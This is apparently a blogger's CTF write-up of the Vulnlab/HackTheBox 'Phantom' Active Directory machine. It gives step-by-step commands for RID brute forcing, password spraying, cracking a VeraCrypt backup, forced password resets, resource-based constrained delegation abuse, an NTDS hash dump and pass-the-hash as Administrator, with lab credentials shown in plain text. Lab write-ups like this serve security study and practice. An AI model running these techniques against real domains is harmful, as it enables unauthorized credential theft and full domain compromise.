Phantom - Writeup (Vulnlab & HTB)


INFO: Ports and Services
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
5985/tcp open wsman
My initial recon made it clear.. i was dealing with a Windows Active Directory environment. Classic AD ports were open.
FOOTHOLD
I used a RID brute force attack over SMB to dump valid domain accounts. This technique allowed me to enumerate user accounts by exploiting the predictable nature of RID sequences.
nxc smb phantom.vl -u 'shkz' -p '' --rid-brute
I got back a huge list of users, perfect for spraying later.
SMB Guest Access
While poking around SMB shares as guest, I got a PDF encoded in base64 inside Public folder.
smbclient.py DC.phantom.vl/'guest'@10.129.229.112
echo "<snipped>...IDI1IDAgUgovSW5mbyAyNiAwIFIKL0lEIFsgPEM0QUQ2NUU5NEZCOTk3OTYx
MTU1Q0FGRkQ2QUMyQjUzPgo8QzRBRDY1RTk0RkI5OTc5NjExNTVDQUZGRDZBQzJCNTM+IF0KL0Rv
Y0NoZWNrc3VtIC8wQTM4N0RBQjYxNTBCMkRCMTg0MzJGMDJENzY2MDQxMwo+PgpzdGFydHhyZWYK
OTQxNAolJUVPRgo=" |base64 -d > out.pdf
Upon decoding the PDF, I found hardcoded credentials inside the file. This discovery was crucial for the next step, which involved a password spraying attack using the user list I had previously obtained.
nxc smb 10.129.229.112 -u users.txt -p 'Ph4nt0m@5t4rt!' --continue-on-success --no-bruteforce
We’ve got valid creds for user ibryant
, the first thing I usually do is feed the data into BloodHound to get some context on the user we’re dealing with and where we stand. That way I can see where we might move laterally and get a general map of the AD.
bloodhound-python -u 'ibryant' -p 'Ph4nt0m@5t4rt!' -ns 10.129.229.112 -d 'phantom.vl' -c all --dns-tcp --zip
Meanwhile, I continued exploring the user’s shared resources over SMB, looking for additional information or files that could aid in further exploitation.
nxc smb 10.129.229.112 -u ibryant -p 'Ph4nt0m@5t4rt!' --shares
SMB - ibryant
I connect to the shared resource called Departments Share
via SMB:
As a summary of all the folders, here’s what we’ve got:
VeraCrypt Backup File
I navigated through the SMB share into the IT\Backup
folder. Once inside, I listed the contents and found a file called IT_BACKUP_201123.hc
. Judging by the extension, it’s most likely a VeraCrypt/TrueCrypt container.
The info given at the start as a hint about the machine says the following:
Taking that hint as a base, I put together a basic python script that basically looks like this:
#!/usr/bin/env python3
import itertools
company = "Phantom"
years = ["2024", "2023", "2022", "2021", "2020"]
specials = ["!", "@", "#", "$", "%"]
mutations = [
company.lower(),
company.upper(),
company.capitalize(),
]
with open("wordlist.txt", "w") as f:
for base in mutations:
# word
f.write(base + "\n")
# years
for y in years:
f.write(base + y + "\n")
# year + special
for s in specials:
f.write(base + y + s + "\n")
# special
for s in specials:
f.write(base + s + "\n"
— wordlist.txt
Finally, I ran hashcat with this custom wordlist against the backup file and managed to crack it, obtaining valid credentials.
hashcat IT_BACKUP_201123.hc wordlist.txt -m 13721
Mounting Veracrypt Volume
Next step is mounting the volume we’ve got. You can install VeraCrypt with a GUI depending on your Linux distro, or just do it on Windows. In my case, running Arch, I fire it up, select the .hc
file, and punch in the password we cracked.
Once the disk is mapped, I mount it under /mnt/ctf
.
sudo mount /dev/mapper/veracrypt1 /mnt/ctf
After digging through all the files and unpacking the .tar.gz
and .zip
archives, I run a recursive grep for keywords like “password” and boom!, I find some creds. I instantly throw them into a password spraying attack and land a valid access:
USER.txt
With that password, I run a spraying attack against the user list to see if we can score a new access.. and yes!, we get fresh creds for the svc_sspr
account.
Checking in BloodHound, I saw the account is part of the Remote Management Users group, so I attempted to connect.
evil-winrm -i 10.129.229.112 -u SVC_SSPR -p 'gB6XTcqVP5MlP7Rc'
Finally, we grab the user.txt
flag.
Root Path
Our user has rights to force a password change on three accounts:
wsilva
rnichols
crose
So basically: these users are part of the ICT Security group, and that group has the AddAllowedToAct privilege on the DC
. That means we can mess with the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute to add our own machine account, opening the door to abuse via RBCD
.
Changing CROSE password
As mentioned, we have the ForceChangePassword
privilege, and I chose Crose to reset their password.
bloodyAD --host DC.phantom.vl -d phantom.vl -u 'SVC_SSPR' -p 'gB6XTcqVP5MlP7Rc' set password CROSE 'Pepe1234#'
Abusing Resource-Based Constrained Delegation
RBCD allows us to escalate by editing the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute so another account can impersonate users via Kerberos S4U. Normally, you need a computer account, but if the domain blocks new machines (in this case 0 quota), you can exploit password/NT hash tricks to align with the TGT session key and still pull it off.
REFERENCES:
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users
STEP - 1
With rbcd.py
, I passed a machine account using -delegate-to
, and for the user, I handed over CROSE
.
rbcd.py -delegate-to "DC$" -delegate-from "CROSE" -dc-ip 10.129.229.112 -action write "DC.phantom.vl/CROSE:Pepe1234#"
STEP - 2
I grabbed a TGT through an overpass-the-hash attack and extracted the TGT session key using describeTicket.py
.
getTGT.py -hashes :$(pypykatz crypto nt 'Pepe1234#') 'phantom.vl'/'CROSE'
describeTicket.py CROSE.ccache | grep 'Ticket Session Key'
Then, I swapped it out with the domain user’s NT hash.
changepasswd.py -newhashes :b8c034f9036d97f34ef2ef18e9e75fc9 'phantom.vl'/'CROSE':'Pepe1234#'@'DC.phantom.vl'
STEP - 3
Using S4U2Self
together with u2u
, the CROSE account can request a service ticket for itself while impersonating the Administrator. From there, we pivot into S4U2Proxy
to request a service ticket for the target machine that the user has delegation rights over.
export KRB5CCNAME=CROSE.ccache
getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/DC.phantom.vl" 'phantom.vl'/'CROSE'
STEP - 4
Finally, I dumped the hash with netexec and achieved root access.
export KRB5CCNAME=Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache
nxc smb dc.phantom.vl --use-kcache --ntds --user Administrator
evil-winrm -i 10.129.229.112 -u Administrator -H 'aa2abd9db4f5984e657f834484512117'
PWNED!
Subscribe to my newsletter
Read articles from shkz directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

shkz
shkz
I am shkz, a Security Researcher, Red Team and CTF Player.